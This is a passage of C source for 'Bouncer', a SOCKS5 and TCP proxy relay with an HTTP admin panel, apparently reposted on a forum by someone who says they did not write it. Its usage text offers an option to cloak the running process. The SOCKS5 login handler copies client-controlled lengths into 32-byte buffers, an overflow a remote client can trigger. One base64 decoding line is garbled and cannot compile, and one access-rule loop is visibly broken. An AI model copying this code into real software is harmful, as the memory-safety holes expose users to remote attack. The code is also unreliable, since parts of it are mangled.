snprintf(buffer, sizeof(buffer), "%d\n", (int)getpid());
if(write(fd, buffer, strlen(buffer)) == ERROR) {
oerror("write", __FILE__, __LINE__, 0);
}
close(fd);
}
}
#else
void send_msg(HWND hWnd, UINT uMsg, WPARAM wParam) {
while(!PostMessage(hWnd, uMsg, wParam, 0)) {
SleepEx(1000, TRUE);
}
}
#endif

static void oline(FILE *stream, char *fmt, ...) {
#ifdef _WIN32
unsigned int msg_id, i;
#endif
char str[1024];
FILE *fp;
va_list ap;

va_start(ap, fmt);
vsprintf(str, fmt, ap);
va_end(ap);

if((options.debug) || (strlen(options.logfile) != 0)) {
if(options.hWnd) {
#ifdef _WIN32
for(i = 0; i < strlen(str); ++i) {
if(stream == stdout) {
msg_id = WM_STD_OUT_CHAR;
}
else {
msg_id = WM_STD_ERR_CHAR;
}
send_msg((HWND)options.hWnd, msg_id, (WPARAM)str[i]);
}
#endif
}
else {
if(strlen(options.logfile) != 0) {
if((fp = fopen(options.logfile, "a")) >= 0) {
fprintf(fp, str);
fflush(fp);
fclose(fp);
}
}
else {
fprintf(stream, str);
fflush(stream);
}
}
}
}

void oerror(char *funct, char *file, int line, int i) {
#ifdef _WIN32
DWORD errno = WSAGetLastError();
#endif

if(i > 0) {
oline(stderr, ERROR_CONNECTION, timestamp(), i, file, line, errno, funct, strerror(errno));
}
else {
oline(stderr, ERROR_NO_CONNECTION, timestamp(), file, line, errno, funct, strerror(errno));
}
}

char *timestamp(void) {
time_t clock;
struct tm *tm;
static char ts[11];

time(&clock);
tm = gmtime(&clock);
strftime(ts, sizeof(ts), TIMESTAMP_FORMAT, tm);
return(ts);
}

void close_client_sockets(int i) {
float kb;
float kbps;
int seconds;
char buffer[128];

if(clients[i].status != csBlank) {
socketclose(clients[i].s[0], i);
clients[i].s[0] = INVALID_SOCKET;
socketclose(clients[i].s[1], i);
clients[i].s[1] = INVALID_SOCKET;
if(clients[i].total_bytes) {
seconds = time(NULL) - clients[i].start_time;
seconds = (1 > seconds) ? 1 : seconds;
kb = clients[i].total_bytes / 1024.0;
if(strncmp(format_float(kb), "0.00", 4) != 0) {
kbps = kb / seconds;
snprintf(buffer, sizeof(buffer), "%s Connection %d Closed (", timestamp(), i + 1);
strcat(buffer, format_float(kb));
strncat(buffer, " KB, ", 5);
strcat(buffer, format_float(kbps));
strncat(buffer, " KB/s)\n", 8);
oline(stdout, buffer);
}
else {
oline(stdout, CONNECTION_CLOSED, timestamp(), i + 1);
}
}
else {
if(clients[i].status == csAdmin) {
oline(stdout, HTTP_CONNECTION_CLOSED, timestamp(), i + 1);
}
else {
oline(stdout, CONNECTION_CLOSED, timestamp(), i + 1);
}
}
clients[i].status = csBlank;
}
}

char *format_float(float f) {
char buffer[16];
static char obuffer[16];
char *p;
char *no = NULL;
char *precision = NULL;
unsigned int c;
unsigned int i;
unsigned int j;
int bcount = 0;

memset(&buffer, 0, sizeof(buffer));
memset(&obuffer, 0, sizeof(obuffer));

snprintf(buffer, sizeof(buffer), "%.2f", f);

if((p = strtok(buffer, ".")) != NULL) {
no = p;
if((p = strtok(NULL, "\r")) != NULL) {
precision = p;
}
}

if(((strlen(no) - 1) / 3) > 0) {
if((c = strlen(no) % 3) != 0) {
for(i = 0; i < c; i++) {
obuffer[bcount++] = no[i];
}
obuffer[bcount++] = ',';
}
for(i = c; i < strlen(no); i += 3) {
if(i != c) {
obuffer[bcount++] = ',';
}
for(j = 0; j < 3; j++) {
obuffer[bcount++] = no[i + j];
}
}
strncat(obuffer, ".", 1);
strncat(obuffer, precision, sizeof(precision));
bcount += 3;
obuffer[bcount] = 0;
}
else {
snprintf(obuffer, sizeof(obuffer), "%.2f", f);
}
return(obuffer);
}

int send_socks5_response(char *response, int i, int success, int bytes) {
if(success) {
response[1] = 0;
}
else {
response[1] = 1;
}
if((send(clients[i].s[0], response, bytes, 0)) == ERROR) {
oerror("send", __FILE__, __LINE__, i + 1);
return(ERROR);
}
return(SUCCESS);
}

void initsocks(int i, char *t, int tcpnodelay) {
int socks5_host_c;
int bytes;
int j, a;
int ulen, plen;
char user[32];
char password[32];

if((bytes = recv(clients[i].s[0], buffer, BUFFER_SIZE, 0)) == ERROR) {
oerror("recv", __FILE__, __LINE__, i + 1);
close_client_sockets(i);
}
else if(bytes == 0) {
close_client_sockets(i);
}
else {
if((buffer[0] == 5) && (buffer[1] == 1) && (buffer[2] == 0) && (bytes == 3)) {
if(strlen(options.s_user) != 0) {
send_socks5_response(buffer, i, FALSE, 2);
close_client_sockets(i);
oline(stdout, REJECTED_SOCKS5_FAIL, timestamp(), i + 1);
}
else {
send_socks5_response(buffer, i, TRUE, 2);
}
}
else if((buffer[0] == 5) && (buffer[1] == 2) && (buffer[2] == 0) && (buffer[3] == 2) && (bytes == 4)) {
buffer[2] = 0;
if((send(clients[i].s[0], buffer, 2, 0)) == ERROR) {
oerror("send", __FILE__, __LINE__, i + 1);
close_client_sockets(i);
}
}
else if(buffer[0] == 1) {
if(strlen(options.s_user) == 0) {
buffer[1] = 0;
if((send(clients[i].s[0], buffer, 2, 0)) == ERROR) {
oerror("send", __FILE__, __LINE__, i + 1);
close_client_sockets(i);
}
}
else {
ulen = buffer[1];

for(a = 0; a < ulen; a++) {
user[a] = buffer[a + 2];
}

user[ulen] = 0;

plen = buffer[ulen + 2];

for(a = 0; a < plen; a++) {
password[a] = buffer[(ulen + 3) + a];
}

password[plen] = 0;

if((strncmp(options.s_user, user, strlen(user)) == 0) && (strncmp(options.s_password, password, strlen(password)) == 0)) {
buffer[1] = 0;
if((send(clients[i].s[0], buffer, 2, 0)) == ERROR) {
oerror("send", __FILE__, __LINE__, i + 1);
close_client_sockets(i);
}
}
else {
buffer[1] = 1;
if((send(clients[i].s[0], buffer, 2, 0)) == ERROR) {
oerror("send", __FILE__, __LINE__, i + 1);
close_client_sockets(i);
}
else {
oline(stdout, REJECTED_SOCKS5_FAIL, timestamp(), i + 1);
close_client_sockets(i);
}
}
}
}
else if((buffer[0] == 5)&&(buffer[1] == 1)&&(buffer[2] == 0)&&(buffer[3] == 1)) {
memset(&clients[i].socks5_response, 0, sizeof(clients[i].socks5_response));
for(j = 0; j < bytes; j++) {
clients[i].socks5_response[j] = buffer[j];
}
clients[i].socks5_bytes = bytes;
if(strlen(t) == 0) {
snprintf(clients[i].socks5_dest_host, sizeof(clients[i].socks5_dest_host), "%d.%d.%d.%d", (unsigned int)(buffer[4] & 0xFF), (unsigned int)(buffer[5] & 0xFF), (unsigned int)(buffer[6] & 0xFF), (unsigned int)(buffer[7] & 0xFF));
snprintf(clients[i].socks5_dest_port, sizeof(clients[i].socks5_dest_port), "%d", ((unsigned int)(buffer[8] & 0xFF) * 256) + (unsigned int)(buffer[9] & 0xFF));
}
else {
snprintf(clients[i].tunnel, sizeof(clients[i].tunnel), "%d.%d.%d.%d:%d", (unsigned int)(buffer[4] & 0xFF), (unsigned int)(buffer[5] & 0xFF), (unsigned int)(buffer[6] & 0xFF), (unsigned int)(buffer[7] & 0xFF), ((unsigned int)(buffer[8] & 0xFF) * 256) + (unsigned int)(buffer[9] & 0xFF));
}
socks_connect(i, t, tcpnodelay);
}
else if((buffer[0] == 5)&&(buffer[1] == 1)&&(buffer[2] == 0)&&(buffer[3] == 3)) {
memset(&clients[i].socks5_response, 0, sizeof(clients[i].socks5_response));
for(j = 0; j < bytes; j++) {
clients[i].socks5_response[j] = buffer[j];
}

clients[i].socks5_bytes = bytes;
socks5_host_c = (unsigned int)(buffer[4] & 0xFF);

memset(&clients[i].socks5_dest_host, 0, sizeof(clients[i].socks5_dest_host));
for(j = 0; j < socks5_host_c; j++) {
clients[i].socks5_dest_host[j] = buffer[j + 5];
}

clients[i].socks5_dest_host[j + 1] = '\0';

snprintf(clients[i].socks5_dest_port, sizeof(clients[i].socks5_dest_port), "%d", ((unsigned int)(buffer[j + 5] & 0xFF) * 256) + (unsigned int)(buffer[j + 6] & 0xFF));

if(strlen(t) != 0) {
snprintf(clients[i].tunnel, sizeof(clients[i].tunnel), "%s:%s", clients[i].socks5_dest_host, clients[i].socks5_dest_port);
}

socks_connect(i, t, tcpnodelay);
}
else {
oline(stdout, SOCKS5_UNKNOWN_DATA, timestamp(), i + 1);
close_client_sockets(i);
}
}
}

void socks_connect(int i, char *t, int tcpnodelay) {
char *cp = NULL;

if(strlen(t) == 0) {
snprintf(options.dest_host, sizeof(options.dest_host), "%s", clients[i].socks5_dest_host);
snprintf(options.dest_port, sizeof(options.dest_port), "%s", clients[i].socks5_dest_port);
}

connect_to(i, options.dest_host, (int)strtol(options.dest_port, &cp, 10), 1, tcpnodelay);
}

char *base64e(char *data) {
static unsigned char Base64Map[64] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
static char buffer[128];
unsigned int i;
int bits = 0;
int count = 0;
int cols = 0;
int bcount = 0;

memset(&buffer, 0, sizeof(buffer));
for(i = 0; i < strlen(data); i++) {
bits += (int)data[i];
count++;
if(count == 3) {
buffer[bcount++] = Base64Map[bits >> 18];
buffer[bcount++] = Base64Map[(bits >> 12) & 0x3F];
buffer[bcount++] = Base64Map[(bits >> 6) & 0x3F];
buffer[bcount++] = Base64Map[bits & 0x3F];
cols += 4;
if(cols == 72) {
buffer[bcount++] = '\n';
cols = 0;
}
bits = 0;
count = 0;
}
else {
bits <<= 8;
}
}
if(count != 0) {
bits <<= 16 - (8 * count);
buffer[bcount++] = Base64Map[bits >> 18];
buffer[bcount++] = Base64Map[(bits >> 12) & 0x3F];
if(count == 1) {
buffer[bcount++] = '=';
buffer[bcount++] = '=';
}
else {
buffer[bcount++] = Base64Map[(bits >> 6) & 0x3F];
buffer[bcount++] = '=';
}
}
buffer[bcount] = 0;
return(buffer);
}

void socketclose(SOCKET s, int i) {
#ifdef _WIN32
if(s != INVALID_SOCKET) {
if((closesocket(s)) == ERROR) {
oerror("closesocket", __FILE__, __LINE__, i + 1);
}
}
#else
if(s != INVALID_SOCKET) {
if((close(s)) == ERROR) {
oerror("close", __FILE__, __LINE__, i + 1);
}
}
#endif
}

void show_version(void) {
oline(stdout, "%s %s\n", APPNAME, VERSION);
oline(stdout, "Build Date: %s %s\n", __DATE__, __TIME__);
#ifdef __VERSION__
oline(stdout, "Build Info: %s\n", __VERSION__);
#endif
oline(stdout, "Copyright (c) 2000, 2001 Chris Mason\n");
oline(stdout, "All Rights Reserved\n\n");
}

void show_usage(void) {
oline(stdout, "\t--port Port\n");
oline(stdout, "\t--destination Host:Port\n");
oline(stdout, "\t--socks5\n");
oline(stdout, "\t[--bind IP]\n");
oline(stdout, "\t[--tunnel Host:Port]\n");
oline(stdout, "\t[--logfile File]\n");
#ifndef _WIN32
oline(stdout, "\t[--pidfile File]\n");
#else
oline(stdout, "\t[--gui hWnd]\n");
#endif
oline(stdout, "\t[--aport Port]\n");
oline(stdout, "\t[--abind IP]\n");
oline(stdout, "\t[--allow IP Mask]\n");
oline(stdout, "\t[--deny IP Mask]\n");
#ifdef LINUX
oline(stdout, "\t[--cloak Cloaked Process]\n");
#endif
oline(stdout, "\t[--t_user User]\n");
oline(stdout, "\t[--t_password Password]\n");
oline(stdout, "\t[--s_user User]\n");
oline(stdout, "\t[--s_password Password]\n");
oline(stdout, "\t[--a_user User]\n");
oline(stdout, "\t[--a_password Password]\n");
oline(stdout, "\t[--tcpnodelay]\n");
oline(stdout, "\t[--nodebug]\n");
oline(stdout, "\t[--daemon]\n\n");
}

int allowed(int i, int adp, int narules, int ndrules) {
int outcome = csAllowed;
int j;
int k = 0;

if((narules > 0) && (ndrules == 0)) {
outcome = csRejected;
for(j = 0; j < narules; j++) {
if(matches((void *)inet_ntoa(clients[i].SockAddrIn.sin_addr), arules[j])) {
outcome = csAllowed;
break;
}
}
}
else if((narules == 0) && (ndrules > 0)) {
outcome = csAllowed;
for(j = 0; j < ndrules; j++) {
if(matches((void *)inet_ntoa(clients[i].SockAddrIn.sin_addr), drules[j])) {
outcome = csRejected;
break;
}
}
}
else if((narules > 0) && (ndrules > 0)) {
switch(adp) {
case DEFAULT_POLICY_ALLOW:
for(j = 0; j < ndrules; j++) {
if(matches((void *)inet_ntoa(clients[i].SockAddrIn.sin_addr), drules[j])) {
outcome = csRejected;
for(k = 0; k < narules; k++) {
if(matches((void *)inet_ntoa(clients[i].SockAddrIn.sin_addr), arules[k])) {
outcome = csAllowed;
break;
}
}
}
}
break;
case DEFAULT_POLICY_DENY:
for(j = 0; j < narules; j++) {
if(matches((void *)inet_ntoa(clients[i].SockAddrIn.sin_addr), arules[j])) {
outcome = csAllowed;
for(j = 0; k < ndrules; k++) {
if(matches((void *)inet_ntoa(clients[i].SockAddrIn.sin_addr), drules[k])) {
outcome = csRejected;
break;
}
}
}
}
}
}
return(outcome);
}

int connect_to(int i, char *dest_host, int dest_port, int socks5, int tcpnodelay) {
int tcp_nodelay = TRUE;
struct hostent *hp;

if((clients[i].s[1] = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) {
oerror("socket", __FILE__, __LINE__, i + 1);
if(socks5) {
send_socks5_response(clients[i].socks5_response, i, FALSE, clients[i].socks5_bytes);
}
close_client_sockets(i);
return(-1);
}

if(tcpnodelay) {
if((setsockopt(clients[i].s[1], IPPROTO_TCP, TCP_NODELAY, (char *)&tcp_nodelay, sizeof(tcp_nodelay))) == ERROR) {
oerror("setsockopt", __FILE__, __LINE__, i + 1);
if(socks5) {
send_socks5_response(clients[i].socks5_response, i, FALSE, clients[i].socks5_bytes);
}
close_client_sockets(i);
return(-1);
}
}

memset(&clients[i].SockAddrOut, 0, sizeof(struct sockaddr_in));
clients[i].SockAddrOut.sin_family = AF_INET;

if(isdigit(*dest_host)) {
clients[i].SockAddrOut.sin_addr.s_addr = inet_addr(dest_host);
}
else {
if((hp = gethostbyname(dest_host)) == NULL) {
oerror("gethostbyname", __FILE__, __LINE__, i + 1);
if(socks5) {
send_socks5_response(clients[i].socks5_response, i, FALSE, clients[i].socks5_bytes);
}
close_client_sockets(i);
return(-1);
}
clients[i].SockAddrOut.sin_addr = *(struct in_addr *)hp->h_addr_list[0];
}

clients[i].SockAddrOut.sin_port = htons(dest_port);

oline(stdout, CONNECTION_ATTEMPT, timestamp(), i + 1, inet_ntoa(clients[i].SockAddrOut.sin_addr), dest_port);

if(set_non_blocking(clients[i].s[1], i) == -1) {
if(socks5) {
send_socks5_response(clients[i].socks5_response, i, FALSE, clients[i].socks5_bytes);
}
close_client_sockets(i);
return(-1);
}

if(connect(clients[i].s[1], (const struct sockaddr *)&clients[i].SockAddrOut, sizeof(struct sockaddr_in)) == -1) {
#ifndef _WIN32
if((errno != EAGAIN) && (errno != EINPROGRESS)) {
#else
if(WSAGetLastError() != WSAEWOULDBLOCK) {
#endif
oerror("connect", __FILE__, __LINE__, i + 1);
if(socks5) {
send_socks5_response(clients[i].socks5_response, i, FALSE, clients[i].socks5_bytes);
}
close_client_sockets(i);
return(-1);
}
}
else {
if(set_blocking(clients[i].s[1], i) == -1) {
if(socks5) {
send_socks5_response(clients[i].socks5_response, i, FALSE, clients[i].socks5_bytes);
}
close_client_sockets(i);
return(-1);
}
oline(stdout, CONNECTION_CONNECTED, timestamp(), i + 1, inet_ntoa(clients[i].SockAddrOut.sin_addr), dest_port);
return(0);
}
clients[i].status = csConnecting;
return(0);
}

void ssl_tunnel(int i, char *destination, char *auth_string, int socks5) {
oline(stdout, SSL_TUNNELLING, timestamp(), i + 1, destination);

if(auth_string != NULL) {
snprintf(buffer, sizeof(buffer), SSL_CONNECT_STRING_AUTH, destination, auth_string);
}
else {
snprintf(buffer, sizeof(buffer), SSL_CONNECT_STRING_NOAUTH, destination);
}

if((send(clients[i].s[1], buffer, strlen(buffer), 0)) == ERROR) {
oerror("send", __FILE__, __LINE__, i + 1);
if(socks5) {
send_socks5_response(clients[i].socks5_response, i, FALSE, clients[i].socks5_bytes);
}
close_client_sockets(i);
}
clients[i].status = csAuthenticating;
}

int set_non_blocking(SOCKET s, int i) {
#ifdef _WIN32
unsigned long nonblock[] = { 1 };

if(ioctlsocket(s, FIONBIO, nonblock) == -1) {
oerror("ioctlsocket", __FILE__, __LINE__, i + 1);
#else
if(fcntl(s, F_SETFL, O_NONBLOCK) == -1) {
oerror("fcntl", __FILE__, __LINE__, i + 1);
#endif
close_client_sockets(i);
return(-1);
}
return(0);
}

int set_blocking(SOCKET s, int i) {
#ifdef _WIN32
unsigned long nonblock[] = { 0 };

if(ioctlsocket(s, FIONBIO, nonblock) == -1) {
oerror("ioctlsocket", __FILE__, __LINE__, i + 1);
#else
if(fcntl(s, F_SETFL, 0) == -1) {
oerror("fcntl", __FILE__, __LINE__, i + 1);
#endif
close_client_sockets(i);
return(-1);
}
return(0);
}

int examine_http_request(char *buffer) {
char *copy = strdup(buffer);
char *p;

if((p = strtok(copy, "\r\n")) != NULL) {
if(http_authorized(buffer)) {
if(strncmp(p, "GET / HTTP/1.1", 14) == 0) {
free(copy);
return(HTTP_INDEX);
}
else if(strncmp(p, "GET /shutdown HTTP/1.1", 22) == 0) {
free(copy);
return(HTTP_SHUTDOWN);
}
else if(strncmp(p, "GET /list HTTP/1.1", 18) == 0) {
free(copy);
return(HTTP_LIST);
}
}
else {
free(copy);
return(HTTP_AUTH_HEADERS);
}
}
else {
free(copy);
}
return(-1);
}

int http_authorized(char *p) {
char auth[128];
char *q, *r, *s, *t;

if((q = strstr(p, "Authorization: Basic")) != NULL) {
q += 21;
if((r = strtok(q, "\r\n")) != NULL) {
memset(&auth, 0, sizeof(auth));
if(base64d(r, auth) != -1) {
if((s = strtok(auth, ":")) != NULL) {
if((t = strtok(NULL, "\n")) != NULL) {
if((strncmp(s, admin.username, strlen(admin.username)) == 0) && (strncmp(t, admin.password, strlen(admin.password)) == 0)) {
return(1);
}
}
}
}
}
}
return(0);
}

int base64d(char *data, char *target) {
int length = strlen(data);
int i;
int result = 0;
int a, b, c, d;
unsigned long l;

static unsigned char data_ascii2bin[128] = {
0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
0xFF,0xE0,0xF0,0xFF,0xFF,0xF1,0xFF,0xFF,
0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
0xE0,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
0xFF,0xFF,0xFF,0x3E,0xFF,0xF2,0xFF,0x3F,
0x34,0x35,0x36,0x37,0x38,0x39,0x3A,0x3B,
0x3C,0x3D,0xFF,0xFF,0xFF,0x00,0xFF,0xFF,
0xFF,0x00,0x01,0x02,0x03,0x04,0x05,0x06,
0x07,0x08,0x09,0x0A,0x0B,0x0C,0x0D,0x0E,
0x0F,0x10,0x11,0x12,0x13,0x14,0x15,0x16,
0x17,0x18,0x19,0xFF,0xFF,0xFF,0xFF,0xFF,
0xFF,0x1A,0x1B,0x1C,0x1D,0x1E,0x1F,0x20,
0x21,0x22,0x23,0x24,0x25,0x26,0x27,0x28,
0x29,0x2A,0x2B,0x2C,0x2D,0x2E,0x2F,0x30,
0x31,0x32,0x33,0xFF,0xFF,0xFF,0xFF,0xFF,
};

if((!target) || (!data) || (length <= 0)) {
return(-1);
}

while((conv_ascii2bin(*data) == BASE64_WS) && (length > 0)) {
data++;
length--;
}

while((length > 3) && (BASE64_NOT_BASE64(conv_ascii2bin(data[length - 1])))) {
length--;
}

if((length % 4) != 0) {
return(-1);
}

for(i = 0; i < length; i += 4) {
a = conv_ascii2bin(*(data++));
b = conv_ascii2bin(*(data++));
c = conv_ascii2bin(*(data++));
d = conv_ascii2bin(*(data++));

if((a & 0x80) || (b & 0x80) || (c & 0x80) || (d & 0x80)) {
return(-1);
}

l = ((((unsigned long)a) << 18L) | (((unsigned long) << 12L) | (((unsigned long)c) << 6L) | (((unsigned long)d)));
*(target++) = (unsigned char)(l >> 16L) & 0xFF;
*(target++) = (unsigned char)(l >> 8L) & 0xFF;
*(target++) = (unsigned char)(l) & 0xFF;

result += 3;
}
return(--result);
}

void send_auth_headers(SOCKET s, int i) {
char buffer[1024];

snprintf(buffer, sizeof(buffer), "HTTP/1.1 401 Authorization Required\r\n");
strcat(buffer, "WWW-Authenticate: Basic realm=\"Bouncer Admin\"\r\n");
strcat(buffer, "Keep-Alive: timeout=15, max=100\r\n");
strcat(buffer, "Connection: Keep-Alive\r\n");
strcat(buffer, "Transfer-Encoding: chunked\r\n");
strcat(buffer, "Content-Type: text/html; charset=iso-8859-1\r\n\r\n");
strcat(buffer, "1cf\r\n");
strcat(buffer, "<html><head><title>401 Authorization Required</title>\r\n");
strcat(buffer, "</head><body><h1>Authorization Required</h1><p>This server could not verify that you are authorized to access the document requested. Either you supplied the wrong credentials (e.g., bad password), or your browser doesn't understand how to supply the credentials required.</p></body></html>\r\n");

if(send(s, buffer, strlen(buffer), 0) == -1) {
oerror("send", __FILE__, __LINE__, i + 1);
}
}

void send_index(SOCKET s, int i) {
char buffer[1024];
char sbuffer[512];

snprintf(buffer, sizeof(buffer), "HTTP/1.1 200 OK\r\n\r\n");
strcat(buffer, "<html><head><title>Bouncer Admin</title><style>\r\n");
strcat(buffer, "body { font-family: Tahoma, Arial, Sans-Serif; font-size: 8pt; background-color: #1C344F; color: #FFFFFF }\r\n");
strcat(buffer, "a:link { color: white }\r\n");
strcat(buffer, "a:visited { color:white }\r\n");
strcat(buffer, "a:hover { color:red }\r\n");
strcat(buffer, "</style></head><body><p>Bouncer Admin 0.1 (Beta 1)<br>Copyright © 2001 Chris Mason</p>\r\n");
snprintf(sbuffer, sizeof(sbuffer), "<p>Bouncer Uptime: %s<br>Total Connections: %ld<br>Total Data Throughput: %s KB</p>\r\n", format_time(time(NULL) - init_time), connections, format_float(total_data / 1024.0));
strcat(buffer, sbuffer);
strcat(buffer, "<p><a href=\"/list\">List Connections</a><br><a href=\"/shutdown\">Shutdown Bouncer</a></p>\r\n");
strcat(buffer, "</body></html>\r\n");

if(send(s, buffer, strlen(buffer), 0) == -1) {
oerror("send", __FILE__, __LINE__, i + 1);
}
}

void send_list(SOCKET s, int i, int socks5) {
char buffer[16384];
char sbuffer[1024];
char state[32];
char destination[32];
int a;

snprintf(buffer, sizeof(buffer), "HTTP/1.1 200 OK\r\n\r\n");
strcat(buffer, "<html><head><title>Bouncer Admin</title><style>\r\n");
strcat(buffer, "body { font-family: Tahoma, Arial, Sans-Serif; font-size: 8pt; background-color: #1C344F; color: #FFFFFF }\r\n");
strcat(buffer, "table { font-family: Tahoma, Arial, Sans-Serif; font-size: 8pt; background-color: #1C344F; color: #FFFFFF }\r\n");
strcat(buffer, "a:link { color: white }\r\n");
strcat(buffer, "a:visited { color:white }\r\n");
strcat(buffer, "a:hover { color:red }\r\n");
strcat(buffer, "</style></head><body><p>Bouncer Admin 0.1 (Beta 1)<br>Copyright © 2001 Chris Mason</p>\r\n<p>");

if((!socks5) || (strlen(options.t) != 0)) {
strcat(buffer, "<p>");

if(!socks5) {
snprintf(sbuffer, sizeof(sbuffer), "Destination Host: %s<br>", options.destination);
strcat(buffer, sbuffer);
}
if(strlen(options.t) != 0) {
snprintf(sbuffer, sizeof(sbuffer), "SSL Tunnel Host: %s", options.tunnel);
strcat(buffer, sbuffer);
}

strcat(buffer, "</p>");
}

if(socks5) {
strcat(buffer, "<table class=body border=\"1\"><tr bgcolor=\"RED\"><th align=\"center\">Slot</th><th align=\"center\">Status</th><th align=\"center\">Source</th><th align=\"center\">Destination</th><th align=\"center\">Time Connected</th><th align=\"center\">Data Transferred</th></tr>");
}
else {
strcat(buffer, "<table class=body border=\"1\"><tr bgcolor=\"RED\"><th align=\"center\">Slot</th><th align=\"center\">Status</th><th align=\"center\">Source</th><th align=\"center\">Time Connected</th><th align=\"center\">Data Transferred</th></tr>");
}

for(a = 0; a < MAX_CONNECTIONS; a++) {
if(clients[a].status != csBlank) {
switch(clients[a].status) {
case csUnknown:
snprintf(state, sizeof(state), "Unknown");
break;
case csConnecting:
snprintf(state, sizeof(state), "Connecting");
break;
case csSocks:
snprintf(state, sizeof(state), "Socks Authenticating");
break;
case csAuthenticating:
snprintf(state, sizeof(state), "SSL Tunnelling");
break;
case csAuthenticated:
snprintf(state, sizeof(state), "Active Connection");
break;
case csAdmin:
snprintf(state, sizeof(state), "Admin");
break;
}

if(socks5) {
if(clients[a].status == csAdmin) {
snprintf(sbuffer, sizeof(sbuffer), LIST_ADMIN_SOCKS, a + 1, state, inet_ntoa(clients[a].SockAddrIn.sin_addr), format_time(time(NULL) - clients[a].start_time));
}
else {
if(clients[a].status == csSocks) {
snprintf(destination, sizeof(destination), " ");
}
else {
snprintf(destination, sizeof(destination), "%s:%s", clients[a].socks5_dest_host, clients[a].socks5_dest_port);
}
snprintf(sbuffer, sizeof(sbuffer), LIST_SOCKS, a + 1, state, inet_ntoa(clients[a].SockAddrIn.sin_addr), destination, format_time(time(NULL) - clients[a].start_time), format_float(clients[a].total_bytes / 1024.0));
}
}
else {
if(clients[a].status == csAdmin) {
snprintf(sbuffer, sizeof(sbuffer), LIST_ADMIN, a + 1, state, inet_ntoa(clients[a].SockAddrIn.sin_addr), format_time(time(NULL) - clients[a].start_time));
}
else {
snprintf(sbuffer, sizeof(sbuffer), LIST, a + 1, state, inet_ntoa(clients[a].SockAddrIn.sin_addr), format_time(time(NULL) - clients[a].start_time), format_float(clients[a].total_bytes / 1024.0));
}
}

strcat(buffer, sbuffer);
}
}

strcat(buffer, "</table></p><p><a href=\"/\">Back</a></body></html>\r\n");

if(send(s, buffer, strlen(buffer), 0) == -1) {
oerror("send", __FILE__, __LINE__, i + 1);
}
}

void send_shutdown(SOCKET s, int i) {
char buffer[1024];

snprintf(buffer, sizeof(buffer), "HTTP/1.1 200 OK\r\n\r\n");
strcat(buffer, "<html><head><title>Bouncer Admin</title><style>\r\n");
strcat(buffer, "body { font-family: Tahoma, Arial, Sans-Serif; font-size: 8pt; background-color: #1C344F; color: #FFFFFF }\r\n");
strcat(buffer, "a:link { color: white }\r\n");
strcat(buffer, "a:visited { color:white }\r\n");
strcat(buffer, "a:hover { color:red }\r\n");
strcat(buffer, "</style></head><body><p>Bouncer Admin 0.1 (Beta 1)<br>Copyright © 2001 Chris Mason</p>\r\n");
strcat(buffer, "<p>Bouncer Successfully Shutdown</p>\r\n");
strcat(buffer, "</body></html>\r\n");

if(send(s, buffer, strlen(buffer), 0) == -1) {
oerror("send", __FILE__, __LINE__, i + 1);
}
}

char *format_time(time_t t) {
int minutes = 0;
int hours = 0;
int days = 0;
int weeks = 0;
static char buffer[64];

memset(&buffer, 0, sizeof(buffer));

while(t >= 60) {
minutes++;
t -= 60;
}

while(minutes >= 60) {
hours++;
minutes -= 60;
}

while(hours >= 24) {
days++;
hours -= 24;
}

while(days >= 7) {
weeks++;
days -= 7;
}

if(weeks == 0) {
if(days == 0) {
if(hours == 0) {
if(minutes == 0) {
snprintf(buffer, sizeof(buffer), "%lds", (unsigned long)t);
}
else {
snprintf(buffer, sizeof(buffer), "%dm, %lds", minutes, (unsigned long)t);
}
}
else {
snprintf(buffer, sizeof(buffer), "%dh, %dm, %lds", hours, minutes, (unsigned long)t);
}
}
else {
snprintf(buffer, sizeof(buffer), "%dd, %dh, %dm, %lds", days, hours, minutes, (unsigned long)t);
}
}
else {
snprintf(buffer, sizeof(buffer), "%dw, %dd, %dh, %dm, %lds", weeks, days, hours, minutes, (unsigned long)t);
}
return(buffer);
}

void initialise_options(void) {
options.port = 0;
options.socks5 = 0;
options.hWnd = 0;
options.daemon = 0;
options.adp = 0;
options.debug = 1;
options.tcpnodelay = 0;
admin.aport = 0;

memset(&options.d, 0, sizeof(options.d));
memset(&options.t, 0, sizeof(options.t));
memset(&options.bind, 0, sizeof(options.bind));
memset(&options.dest_host, 0, sizeof(options.dest_host));
memset(&options.dest_port, 0, sizeof(options.dest_port));
memset(&options.destination, 0, sizeof(options.destination));
memset(&options.tunnel, 0, sizeof(options.tunnel));
memset(&options.pidfile, 0, sizeof(options.pidfile));
memset(&options.logfile, 0, sizeof(options.logfile));
memset(&options.t_user, 0, sizeof(options.t_user));
memset(&options.t_password, 0, sizeof(options.t_password));
memset(&options.s_user, 0, sizeof(options.s_user));
memset(&options.s_password, 0, sizeof(options.s_password));
memset(&options.a_user, 0, sizeof(options.a_user));
memset(&options.a_password, 0, sizeof(options.a_password));
memset(&options.cloak_name, 0, sizeof(options.cloak_name));
memset(&admin.username, 0, sizeof(admin.username));
memset(&admin.password, 0, sizeof(admin.password));
memset(&admin.bind, 0, sizeof(admin.bind));
}

Nu este scris de mine.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...